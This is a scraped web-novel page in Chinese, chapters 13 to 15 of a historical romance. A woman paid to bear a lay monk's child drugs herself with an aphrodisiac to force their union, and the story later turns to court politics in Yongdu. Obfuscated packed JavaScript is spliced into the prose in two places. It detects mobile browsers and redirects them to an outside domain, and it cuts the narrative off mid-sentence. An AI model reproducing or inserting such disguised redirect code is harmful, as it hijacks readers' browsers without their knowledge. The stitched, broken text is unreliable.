在水里搅和了好一阵,出水潭时,洛明瑢抱着她往岸边走,一句斥责也没有。 沈幼漓如出水青莲,只桃腮和丹唇蔓延出一丝春情。 她还醉在那双深入渊海的眼睛里。 僧袍落下的水砸得她眯起了眼,盯着洛明瑢被吮得粉润的唇,探起脑袋又含住,赶时间似的轻咬一下,又舔一口。 这一下偷香要快,因为—— 她很快就被像抓小鸡崽一样抓起来了。 洛明瑢抬手压住还存着温软触感的嘴唇,日光晒在挂满水珠的脸上,蒸腾起灼热感。 他手下那个不老实的还举起两只手,大喊:“错了错了,禅师饶命!” “你,你劣迹颇多。” 13.第 13 章 劣迹再多,洛明瑢也没有如何惩治她。 佛门弟子历来自己受戒,就算破戒也是自己修行不够,怎么会责难他人。 当时的沈幼漓看不明白,只当自己真让他动了心,才得到这份包容。 她当洛明瑢喜欢自己。 可仅仅喜欢哪生得出孩子来呢。 不过沈幼漓目的太强,洛明瑢又是八风不动的性子,只要他足够清醒,二人绝不可能发生那种事。 勾搭了一年,洛明瑢岿然不动。 沈幼漓不能再等,要是周氏嫌她没用换一个人来,自己的一万两银子和一年来的付出就泡汤了。 来来回回,她还是只能把主意打在下药上。 改进了方子的心喜丹,见猎心喜,名字取得还算贴切。 洛明瑢早防着她,想再给他下药也不容易了。 又是一样的佛堂,当着洛明瑢的面,她把解药全抖进炭盆里,“上一次你若没有这解药,已经死了,就算打晕也没用的。” 洛明瑢等着她下一句。 她把见喜丹拿了出来:“这药,禅师还眼熟吗?” “现在解药没了,禅师,你打算如何救我?” 话刚说完,那端坐蒲团的人压下眉梢,竟有金刚怒目之感,“沈娘子,还请不要吃这个。” 洛明瑢真心劝她:“贫僧救不了你。” 若真没了解药,寻常难以抵抗药力,她真的会死。 沈幼漓咧开嘴:“看来你知道它很厉害。” 她丢进嘴里,继续说:“我问了方丈,他说你是俗家弟子,持在家戒,与妻子的圆房,不算犯戒。” “救人一命胜造七级浮屠,当日我救了禅师一命,今遭禅师也救我一命吧。” 很快,细细的幽咽声在佛堂萦绕。 洛明瑢闭上眼睛,那些声音也在往耳朵里钻,在骨头缝里嗡嗡颤动。 细白的手指搭上他的膝,而后攀住手臂,指尖也蓬发着热意。 闭上眼睛也能知道,她贴得很近,近得让人忍不住在心里丈量,什么时候他们会贴在一起。 炙热的唇先贴上,刹那如撞铜铃,心魂震荡。 她将一丸丹药推了过来,说话声呢喃稠滞:“你心里要是过不去,也吃一颗。” 洛明瑢衔着见喜丹,睁眼与她四目相对。 细细汗珠密布在瓷白的脸上,僧衣在她掌中旋集成花。 “贫僧要怎么做,施主才肯放手?” “我不会放手,不过你只要够狠心,今晚我就会死了。” 到底,他还是咽了下去。 洛明瑢逼近时,她也向后倒了下去,让方寸天地之间只余同他相拥的气息。 她将脸埋在他颈间, 这一次没有周折。 无声处,撕裂的锐意痛得她发不出声,可也消弭了药力折磨。 那夜,沈幼漓嗅着蜡油燃烧的气息,痛了一整夜,洛明瑢也不好受,他的眉头未曾松开过,只有出就时,才低下额头,贴着她的后颈慢慢平复。 一夜似困兽缠斗,二人眼中皆不见喜悦。 沈幼漓一点目的达成的喜悦也没有。 一年来的朝朝暮暮宛若流光在眼前晃过。 她好像搞砸了些什么。 只能告诉自己,别去细想,她已经成功了,除了万两白银,她不需要任何东西。 她还欠着的很多,她要不起任何东西。 天未亮,沈幼漓裹着黎明前的寒气离去,痊愈的那条腿又在隐隐作痛。 就这么躲了一个月,在给自己把过脉,知道一夜没有结果之后,沈幼漓自顾自收拾好了心情。 又一夜,她轻车熟路翻进洛明瑢禅房,招呼也没打就吻住了他。 洛明瑢本在榻上安眠,在点滴亲吻之中醒来,他一点也没有反抗,反而伸手揽住她。 那个一意孤行的影子顿住了。 沈幼漓形容不出心尖在那一刻的感觉,似雨落点点滴滴打湿地面,又似新芽破土。 原本以为他会生气,结果还是没有。 洛明瑢怎么会这么好欺负。 可她鼻尖嗅到些什么。 “有血腥味。” “大概是夜雾打湿了铁铃铛。” 出家人不打诳语,沈幼漓也信了。 他的声音可真好听。 亲吻绵绵无尽,尽是嗞啧声,藤蔓伸展着枝条相挽,在风来雨至后郁郁葱葱,窗纸投下对坐相拥的人影。 沈幼漓抱着他的脖子,一个劲儿喊自己冷,一个劲儿地掉眼泪,洛明瑢的怀抱已经密不透风,不该冷的,那剩下唯一要吃的苦是—— 洛明瑢。 三个字,在她嘴上绕来绕去,在缄默而漫长的痛楚中,一下下起落,墩实在心里。 仍旧如前次,没有话说,他们默默听着那单调的“呱唧”声,像装不满的水的小瓷瓶在摇晃。 洛明瑢并不冷静,每一次深切的浆打下,他手臂之中柔脆的蝴蝶骨收敛,又舒放。 沈幼漓成了一只蝴蝶,随着他的急缓而振翅,又被牵住没法飞走。 这一次沈幼漓没有走。 有了第一回,往后二人似乎默认了这样的事,山寺里经久不散的香灰烛火味,成了这段男女之事里最清晰的气味。 沈幼漓还是经常陪在他身边。 不过目的达成,她演戏就不大认真,偶尔说点俏皮话,偶尔也笑,只是笑得不如从前真心实意些。 洛明瑢待她一如既往。 待在他身边给她一种怪异的安心感。 直到某个午后,她去找惯常消失的洛明瑢。 一方静室里,传出一声声闷响。 沈幼漓才知道,原来她嗅到的血腥味是什么。 每日受完杖刑,回到禅房,他不说,她也不知道。 屋内,方丈放下木杖,说道:“妙觉,你尚是俗家弟子,沈施主也是奉父母之命、媒妁之言嫁予你,不必如此苛责自己。” 洛明瑢虽事事与出家人无异,到底还是俗家弟子,他与沈幼漓之事算不得犯戒,可他执意领受刑罚。 僧袍沾满了血迹和尘土,洛明瑢擦拭掉唇边的血,灰茫的瞳仁睁着寻一份解脱。 他只是坚持说:“弟子,有错。” 沈幼漓差点推门进去阻止,可她还是忍住了。 远远看洛明瑢推门出来,他换了一身僧衣,在水井边濯洗衣裳,似乎一切都没发生过。 傍晚时,沈幼漓又坐在他身侧。 木鱼一声声敲,她今日终于有耐心等他敲完。 待经文念完,洛明瑢僧衣衣领被轻扯了一下。 这真像招呼狗吃食的铃铛,因为洛明瑢就是如此,他从善如流,抱住她的腰肢倾身而来。 沈幼漓按住他,才发现他那双漂亮的眼睛里一点神采也没有。 从前当他不嗔不怒,眼神也一贯平静如水,可今日这么近,她看出那点不一样来了。 所谓的平静,只是死水一潭。 唇瓣也因失血,苍白得很,为什么她从前没有发现。 沈幼漓不知该如何自处。 她好像毁掉了一个人。 她勉强笑道:“有伤就该擦药,我还当出家人不打诳语,你竟也会骗人。” 洛明瑢眼珠动了动,又重新坐好。 背上密布凌乱的伤口,大片吓人的青紫泛着狰狞,有些还在不断渗血,沈幼漓给他上药,心好像也在跟着一起疼。 “每次之后,你都要挨打吗,要打多久?” 洛明瑢并不想搭话,沈幼漓便当是默认了。 回想初次行房到再上山找他都还能闻到血腥味,这惩戒怕是挨了一个月。 算算沈幼漓拉他行房的次数,他这刑罚看来根本没断过。 日日这么挨打,人怎么受得了。 “家人在侧,你为何要入空门?”沈幼漓真的不明白。 “众生皆苦,贫僧想勘破顿悟,寻得此心清净。” “如今难道不是佛门戒律让你痛苦?” “戒律不会教人痛苦,它能护诸生免堕恶业。” 原来她是恶业啊。 沈幼漓玩笑道:“可方丈说得没错,你并没有错,为何强令自己守戒,既然还是俗家,趁早多生几个孩子,好好养大,后半辈子有的是时候吃斋念佛呢。” “有向禅之心便已是佛门之人,诸般戒律自该谨守,投机取巧,自欺欺人者终自害。” “看来世间真无两全法。” 后来沈幼漓不再与他行房,只是每日要瞧一瞧他的伤好得怎么样了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478741|169882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 洛明瑢也乖乖给她看。 情愫滋长时,沈幼漓卧在他怀里,也问过他:“你能不能……不当和尚了?” 一辈子都不当了。 问完才反应过来自己在说什么。 她记起来自己的任务,拿了银子她就要走,问这话不是给自己添麻烦吗? 可沈幼漓听得到自己的心跳声,鼓噪得不像话。 捻动的念珠悬停在眼前。 洛明瑢声音自发顶传来:“贫僧从来无意于红尘,沈娘子为一万两白银而来,难道除了孩子,还有让贫僧还俗的任务?” 冰凉的话似一瓢水浇醒了她。 沈幼漓慢慢坐起来,“你都知道?” 洛明瑢并无一丝“真心错付”的责怪,更无恼怒、怨恨、得意…… 他只是冷静地陈述:“一万两白银,换一个出卖自己得来的孩子,在贫僧看来,不值得。” 说话的人近在咫尺,面容却笼罩在云雾之中,隔着万水千山,难以触及。 “一万两,我觉得很值得。” 她听到自己的声音。 “所以你今日开口要求,贫僧只当你受人所托,并非出自本意,往后也不要再提。” “所、所以禅师,”她磕绊了一下,“和我这样,只是为了早日摆脱我?” “是。” 她声线有一丝颤抖:“你心中一直以来,是如何想我的?” 洛明瑢沉吟片刻,道:“世人堕入情爱是寻常之事,须知真情可贵,此生有人相伴,沉湎其中亦有道理,但若是人人都似这般为利目的不择手段、明目张胆去算计引诱、粗糙织就一份感情,那就是檐下蛛网、油彩面皮,脆弱虚假,经不住一点风雨。” 言下之意,这份感情一文不值。 二人结为夫妻,不过是一串又一串的错误,是她罔顾他心意促成的结果,为什么她会觉得其中有情呢? 为什么不离开佛门? 当然是洛明瑢不喜欢她,就是这么简单。 沈幼漓少有自作多情的时候,可面对洛明瑢她总是一再会错意。 原来洛明瑢不是对她好,而是本就是一个好人,那些好,谁缠上来,谁就能得到。 只是恰好她先那么做了。 要是从头到尾都只在乎那一万两就好了,洛明瑢说的话就会是耳旁风,伤不到她。 沈幼漓第一次那么羞愧,而至满脸通红,连指尖都在死死抑制颤抖。 她的感情确实轻浮、污遭,比洛明瑢话里的更加虚伪。 原来这才是洛明瑢给她的惩治。 有那么一刻,沈幼漓想放弃那些钱,离开瑜南再也不回来。 已是夜半,她失魂落魄地下山去。 “你要去哪?” “回家。” 她明显神思不属,连路都没有看。 沈幼漓不清楚自己要回哪里的家,只是木然往外走。 脑中一遍遍回想洛明瑢那些话,夜风吹来,她突然犯起恶心。 扶着山道边的松树,沈幼漓干呕了一阵,夜色昏黑,她余光看到抹白衣游魂一般的影子。 沈幼漓当看不见,快速给自己把了脉。 是一个等候已久的结果。 沈幼漓如释重负,她终于没了必须留在山上的理由,可以真正不再见他了。 于是果断扭头下了山去。 一路上,沈幼漓都能听到不远不近的声音,是僧衣被道旁枝叶扫过的声音,余光里,那道白影始终不远不近缀在身后。 洛明瑢怕她寻死吗?不会的。 结果虽然狼狈了一点,但目的已经达成了,她捡回了一条命,就不可能再轻易寻死。 一路走到瑜南城门,身后的人才不见了。 抛开无情这一桩,洛明瑢真是一个极好的人。 就算与她翻了脸,还是会担心她的安危一路护送。 他聪敏温和,在他面前使坏,沈幼漓不用在意“后果”二字,他恪守着佛家六戒,万事皆不着相,所以别人看不到他生气、不耐、厌恶…… 别人就会因为这些表面的好,误会了他的感情。 自己当初会喜欢他,也不算有眼无珠,是吧? 从未接触情爱的人,贸然拿此做赌注,本就该做好血本无归的可能。 14.第 14 章 “喂,洛明瑢。” 周遭虫鸣蛙噪,沈幼漓让他背着,语气静得像一阵无方夜风。 “嗯。” “我不关心你与县主有没有男女之情,我只关心一件事。” “你说。” “县主中意你是板上钉钉的事,她以为你要为她还俗,之后怕是有得纠缠,你与她成与不成都好,只是……别让县主知道我和釉儿丕儿的存在。” 背她的人站住脚步。 沈幼漓继续说:“只要你开口提,洛家一定也会帮你隐瞒,只当这七年什么都没发生,你从没有妻儿……当然,你也没当我们是,若有必要,就说我和孩子们只是远房亲戚寄住而已,知道吗?” …… “为何要如此?” “那县主我见过,我不想惹她不快,让孩子也受委屈。” 上位者最是罔顾他人,沈幼漓自己如何不打紧,若孩子有个不好,她下手就不会只是区区生半夏了。 “你受了什么委屈?” “我的事就与你无干了,你只答应我就是。” 洛明瑢道:“县主不能干预洛家的事,贫僧也会护你们周全,你们该如何就如何,不必假装。” “你连丕儿的纸条都不想要,大可不必强装关心我们了。” 她很平静,天上的乌云沉沉压在心上,星星一颗也不闪烁。 “贫僧已是出家之人,有些亲缘本不该留恋太多。” 这就是解释。 沈幼漓知道,她一直都知道。 七年前,他早想踏入佛门,是洛家一直拉着他,而后她又出现,将他拉得越来越远。 “我知道,你想安生待在的寺中修行,不受打扰,是洛家……还有我一直拖着你,过往七年,我不知如何赔罪……” “你什么都不须做,贫僧也从未对你有过怨怼。” 沈幼漓笑道:“是啊,你是大师,此际灵台清明,怕是早参悟了,那我只求你那件事,你应不应?” “釉儿和丕儿的事,你不须担心。” “多谢。” “其实,贫僧也想成全沈娘子。”洛明瑢突然说道。 “你要成全我什么?” “端看沈娘子想要的是什么。” 沈幼漓又因他的话发散出想象,若是她要他…… 不会的,他方才说了,心中从无男女之情。 这话只能是一个意思。 “多谢你啊,我想要的已经得到了,那一万两银子,我拿得很开心。”她在他耳边真心实意地说。 她也想放过他,衷心说道:“禅师,愿你往后可以有一方净土,好好修行,不再为世俗所扰。” 缠在他身边的第一年,沈幼漓就知道他想过的是什么日子,可她一再毫不在意地毁掉洛明瑢的向往。 这一次她真心盼他好。 洛明瑢在走一个上坡,这似乎要费些力气,让他一时不能搭话。 等上了坡,不知道是忘了还是怎样,他重新起了一个话头:“这些年教养观棋成聿,辛苦你了。” “嗯。” 沈幼漓突然觉得说话很累,“你累了,就放我下来吧。” 洛明瑢不累,只是觉得她有点轻,不知道是照顾孩子太累,还是原本胃口就小,从不见她长肉。 匆促的马蹄声代替了沉默,自身后传来。 邓长桥放慢了马速,灯笼的光让他勉强看清道旁的人。 一个僧人背着一个年轻娘子走在路边,这怎么看怎么不对劲儿。 “你们是干什么的?”他大喝一声。 洛明瑢不闪不避,答得简略:“行路。” “你们是什么关系这样赶路?” 背后载着的人替那二位说了话:“你们这是又和好了?” 说话的人当然是老春头。 为了赶时间,邓长桥带着他一道骑马,老春头坐在后边,眯着眼睛,在夜色里勉强辨认出两人。 这是怎么回事,刚刚喝酒的时候不在那儿伤春悲秋,一转眼这两口子又好得背在身上走了? 果然,七年了,到底是有感情的,床头吵架床尾和,哪能说散就散呢。 “老春头,你认得他们?” “认得认得,他们是正经良家,”老春头连连点头,又看向他们,“这是又和好了?就是嘛,有什么事不能好好说开,以后好好过日子不好吗。” 老春头有时候真闹不明白这些年轻人,跟驴投胎似的,一头比的一头犟。 和好? 洛明瑢回头想看一眼沈幼漓时,她也刚好抬脸,鼻尖就这么撞上了。 二人又各自别开脸。 “老施主。”洛明瑢给他见礼。 “诶——” 沈幼漓则不客气:“老头,你这是往哪儿去?” “城里有许多尸首要验——” 邓长桥打断他们的话:“既然没事,快些家去,莫再外头流连。” 说完打马继续走,没空深究二人关系。 老春头想说他们这样走得走到猴年马月,可是看自己这一匹马也帮不上忙,只能说一句:“那咱们先走了啊。” 马奔远了,老春头的声音还远远传来:“好好过,有话别藏心里——” 沈幼漓把脸死死埋住,只想要原地消失。 洛明瑢问:“什么话藏心里?” “他老糊涂了,别管他!” 才说着,又一驾马车飞驰而过,道路泥浆四溅。 这马车太过华丽,沈幼漓一眼就认出了是谁经过。 跑得跟奔命一样,看来县主真把那玉清甘和露喝了,可有她苦一阵儿了。 沈幼漓仗着没人看见,咧开了嘴。 正痛快着,洛明瑢也看向远去的马车,这明显不是正常马车的速度,应该是又出事了。 肩上的食指在轻敲,背上的人正高兴。 这事与她有关。 沈幼漓见洛明瑢也在看那辆马车,怕他问起,为转移他的注意问道:“对了,你还没说这一趟回洛家是为什么?” 他收回视线,不再关心:“只是有些事要办。” 他不想细说,沈幼漓懒得再问。 路还很长,摇摇晃晃之间,沈幼漓酒意上来,熬不住睡过去了。 — “你舍得回来了——” 沈幼漓被这一声责备惊醒,抬起头来,天际青青似鸭蛋壳,门头檐下洛府的灯笼还亮着。 原来是到家了。 周氏正站在前院紫藤花廊下头,钗饰素净,看来是刚刚起身。 刚刚那声就是她问的。 在大夫人的视线下,沈幼漓默默滑下洛明瑢的背,行了一个礼。 “嗯。” 发觉二人是一道回来的,周氏没再说什么,转头走了。 这婆母当真宽和。 沈幼漓惦记两个孩子,也赶着回屋,走之前又跟洛明瑢提了一遍:“答应我的事,你记得。” 他点头:“记得。” 沈幼漓回到房中,内室垂帘紧闭,两个孩子在被窝里安安静静的,还没睡醒呢。 “昨晚他们怎么睡着的?”她小声问。 雯情道:“小郎君和小娘子吵了一架,哭累就睡过去了,都忘了娘子还没回来。” 沈幼漓点点头,转身脱下溅满泥点的裙子,在净室里梳洗干净,散了头发走回内室。 “哈——” 她也没睡够,打了个大大的哈欠,又靠在床边睡过去了。 不知睡到什么时辰了,四只手在她肩头摇啊摇。 “阿娘!阿娘!懒猪啊——” 两个小孩左右摇着沈幼漓。 她闭着眼睛一人亲了一口,拍拍他们的屁股:“去吃早饭读书,阿娘再睡一会儿。” 釉儿倒是乖乖到饭桌边去了,丕儿心里惦记着事,还叫魂似的打扰他老娘清梦:“阿娘,你去找阿爹了吗?” 沈幼漓突然睁开眼睛,随即又郁闷地翻了个身,含糊几声。 丕儿爬上来,跪在床沿上推她:“阿爹告诉你了吗?” 沈幼漓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“说起来,你们阿爹今早回来了,就在家中。” 沈幼漓也不想说,不过都在一个家里,早晚两个孩子也是会知道的。 “啊?” 釉儿瞪大眼睛,嘴巴张得大大的。 沈幼漓怕她脱臼,笑着把女儿嘴巴合上,“怕了?” “我才不怕!” 她跳下凳子蹬蹬蹬跑走。 第二日沈幼漓就没见两个小孩在眼前出现,她找了一圈儿,这俩窝角落凑一块儿,一会儿拿手臂拔河,一会儿窸窸窣窣不知道说些什么。 “你们是想去瞧瞧阿爹吗?”沈幼漓问。 两个孩子像炸毛的小兽,赶紧背着手对着阿娘站好。 “不去!我们不去!”釉儿率先开口。 丕儿倒是犹犹豫豫的,不敢说话。 她威胁弟弟:“你也不准去!” “可……可是……”他又要哭。 沈幼漓道:“没关系,阿爹很好的人,一点也不凶,你们可以去瞧一瞧。” 在说出这句话之前,沈幼漓有很多忧虑。 怕扰了洛明瑢的修行,给他平添麻烦,又怕来日她要离开,他们本就没有阿爹可以依赖,再没有阿娘…… 怎么想都剜心。 当初只顾着生下来,拿到银子,孩子怎么长大压根不在意,现在才明白自己大错特错。 为人父母,根本无一刻不挂心孩子。 说完之后,沈幼漓放下些顾虑。 她不是让两个孩子去亲近洛明瑢,而是让他们清楚,他们的阿爹是很好的人,也有些不得已,人生早该自己想开。 盼他们往后能从容看待父母的关系,不要难过,不要生出怨恨和误解。 这就是洛明瑢所说的,勘破了吧。 那看来她也很有悟性。 15.第 15 章 釉儿不明白:“阿娘,你以前不是最讨厌阿爹吗?” 沈幼漓不得不反省自己,从前尽顾着自己,没把喜恶藏住,白让孩子替她担心。 昨夜洛明瑢说从未恨过她,沈幼漓也真的放下,真心贺他修得圆满。 眼下她心里只有两个孩子。 她耐心和女儿解释:“阿娘不讨厌阿爹啊,只是不喜欢上山,山上都是虫子蜈蚣,烦人得很,你细想想,阿娘是不是从没说过阿爹坏话?” 丕儿举手:“我也不讨厌的。” “可他都不管我们!”釉儿是个心思细腻的孩子,三两句哄不了她。 “不是的,”沈幼漓抚着女儿的脸蛋子,“你们阿爹虽然嘴上不说,但心里一直记挂着你们。” 回来的路上,洛明瑢那声“辛苦”让她想明白了,若他真不想关心,周氏不会隔三岔五上山同他说那些事。 婆母从来不是自讨没趣的人。 所谓不准人递孩子的消息,只是洛明瑢也在自欺欺人,给自己和他们划的一条楚河汉界罢了。 “来,阿娘一直忘了和你们说,你们阿爹啊,不止小时候像丕儿一样聪明,还是八尺的大高个儿,虽然是个秃瓢儿,不过也勉强般配阿娘的美貌……而且世上再没有像他一样好的性子了,不管你们多调皮,他都不会生气……” 这是她第一次说起洛明瑢,而且全是好话,只是为了让孩子放下芥蒂,无关其他。 釉儿还是不开心:“他那么好,为什么对我们那么坏?” 沈幼漓耐心和女儿解释:“你看啊,鱼是不是离开了池子会死啊,花儿离开了泥地也活不了太长,有些人也是一样的。” “那阿爹是鱼还是花儿?” “你们阿爹啊,刚出生的时候老神仙批命,说是鱼仙投胎,十五岁之后就得回在山上的池子去,不能再待在家里了,釉儿你想想,要是把你一个人留在池子里,见不到阿娘,你是不是也很难过,所以你们阿爹见不到你们也很伤心的,他天天在池子里哭,哭得山上池子都满了……” 她越说越离谱,到后来忍不住笑了,头赶紧撇过一遍去,假意擦擦眼泪。 幸好五六岁的孩子好骗,这话多一岁来听都不行。 听了阿娘的话,丕儿小心地问:“阿爹那么可怜,我们能去看他了吗?” “可以啊,不过现在天都黑了,你们看看,”沈幼漓指了指天,“你们磨磨蹭蹭那么久,他肯定是睡下了。” 丕儿摇她的手臂:“阿娘,你就带我们去看吧。” “这么晚了哪儿都不许去,有大妖怪专爱跟小孩子后面,拍你肩膀一下,你再回头,就把你屁股上的火吹灭,抓到阿娘也找不到的地方去。” 胆小鬼儿子果然被吓哭了。 沈幼漓心满意足:“走,先吃晚饭,晚上阿娘给你们讲故事听好不好。” “好——” 一个抽抽噎噎,一个不情不愿。 晚饭消食之后,釉儿和丕儿就谁睡在阿娘一边打了一架,之后左一个右一个躺被窝里揪着被角,四只大眼睛一眨不眨看着阿娘。 沈幼漓把两个小糯米团儿圈在手臂里,翻开《蒙学杂话》,“这回咱们说个大将军斩白龙王的故事。” “好好好。”釉儿拍掌。 丕儿却摇头晃脑:“子不语怪力乱神。” 他姐发威:“废话少说,不听滚下去” 丕儿赶紧点头如捣蒜:“听的听的,阿娘快讲。” “这故事是说,从前有个大将军,他英勇强健,一把偃月刀舞得虎虎生风,上阵杀敌最是悍勇,但是这次啊,大将军碰上事儿了,原来泾河龙王不满他杀敌之后在河中习剑,嫌弃脏了他的河水,于是大将军到哪儿,哪儿就在下雨……” 等两个孩子睡着了,沈幼漓给他们掖好被子,把书册收拾到外间。 吹灭屋中所有光亮,她对着天边一轮明月发呆。 一晃七年就这么过去了,万念俱灰求死之时,她从未想过,后来自己会喜欢上一个人,会生两个孩子。 她竟真沉浸在平淡如水的日子里,那些痛苦的记忆已经那么遥远,再想起已恍如隔世。 人生际遇,实在莫测。 这几年,绊住沈幼漓的除了这两个年幼的孩子,还有时机,对洛明瑢那点情反而是最不紧要的。 时隔七年,很多人都不再记得她,有些事也该筹划起来了。 她没资格让那些人等自己那么久。 盼她运气好些,还能回来陪着釉儿和丕儿长大。 那时候,沈幼漓就只想平淡过完余生了。 月影渐渐淡去,瑜南城还睡在梦乡里。 梦中偶尔也会有千里之外的雍都。 城门楼的晨钟还未敲响,宫人已经起身忙碌,为贵人们整理衣物,拿着对牌的宫人们出入的宫门,小车上挂着银铃,一路轻响着运入清水、蔬果、煤炭…… 第一缕晨光照在雍都明芳殿前的白玉阶上,开阔肃穆,更见恢宏气象。 不是上朝日,皇帝李成晞却早早起身,只是殿门未开。 小黄门衣带低垂,恭谨地将来人挡在殿外:“娘娘留步,陛下在殿内和凤军容商议国事。” 等他们商议国事倒不打紧,不过…… 于贵妃斜看了眼一同被拦在外边的人,只是同这人站在一起,实在败兴。 那张脸男生女相,不男不女,瞧着让人厌恶。 冬凭穿着大理寺深绯獬豸官袍,腰佩银鱼袋,玉面粉妆,耳鬓簪花,生怕别人注意不到他那张脸。 虽没听见贵妃娘娘心声,冬凭却没放过那抹鄙夷,他笑着打招呼:“娘娘安好。” 于贵妃还以笑颜:“听闻冬大人又升官了。” “是陛下爱重罢了。” 寒暄三两句,于贵妃不再理会他。 倒是冬凭先等烦了,抱怨道:“你说这凤内监也真是,不早不晚,刚好挡着咱们面圣,他这般勤勉,是预备打哪出升迁去?” 其他人称凤还恩“凤军容”,敬的是凤还恩执掌神策军,冬凭叫他“凤内监”,是在嘲讽他的阉人身份。 这人仗着皇帝宠爱,连凤还恩都不放在眼里。 于贵妃只有四个字:“国事为重。” “娘娘何必恼臣,真正得陛下宠爱的如今不就在殿内。” 出了冬凭这个大理寺少卿,皇帝纵养男宠的名声也传出去,这凤还恩焉能清白? 于贵妃更加鄙夷,真是活久了什么都能见着,当 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九年前先帝时,边军又反,再次将李家赶出雍都,等好不容易平定叛军,各地掌军的藩镇也趁机坐大,渐有不臣之心。 李成晞快要容不下他们了。 凤还恩未似皇帝那般气恼,他道:“瑜南的事终究要有人出面,漠林牙军叛乱一案仍有疑点,臣暂寻不到合适的人调查,只能亲自前往。” “漠林牙军……”李成晞冷哼一声,“这种案子交由江更雨来,哪里还需要费心查。” 御阶下的人顿住,而后提醒他,也是在提醒自己:“陛下,江少卿已经死了。” 也只有凤还恩敢提醒皇帝,江更雨死了。 他畏罪跳进滚滚洪水之中,遗臭万年地死了。 李成晞愣了一下。 “朕方才提他了吗?” 凤还恩缄默不言。 对啊,江更雨已经死了。他怎么总是会忘记这件事呢,李成晞无奈笑了一下。 当年他们鲜衣怒马,骑马倚斜桥,豪情满怀地要让雍朝重现海晏河清,万国来朝的盛世,如今……国朝衰败,满目苍凉,连他也走了。 一个故人之名,让殿中沉默了一阵。 李成晞不复方才怒火,疲惫地摆了摆手:“你既然要去瑜南,那就带冬凭去吧。” “陛下,冬凭才提少卿,该在大理寺多些历练才能服众,瑜南一行危险重重,就是臣也不敢保证他安全。” “你怕带一个累赘?” “终究不是江少卿。” “是,终究不是江少卿……” “臣先告退了。” 殿门在面前徐徐打开,冬凭和于贵妃齐齐看了过来。 在看到冬凭的时候,凤还恩竟怔忪了一下。 那袭绯红的獬豸官袍穿在冬凭身上,好像斯人还站在眼前。 “凤还恩——” 耳边恍惚响起有江更雨的招呼声,好像他一直没离开过。 只要出了宫门,绕到大理寺公廨,就能看到他在一堆卷宗里伏案,听到动静时会抬头,笑着跟说他好累啊。 “凤军容。”冬凭不伦不类地朝他行了个礼。 凤还恩的眼神恢复清明。 不是他,江更雨死了。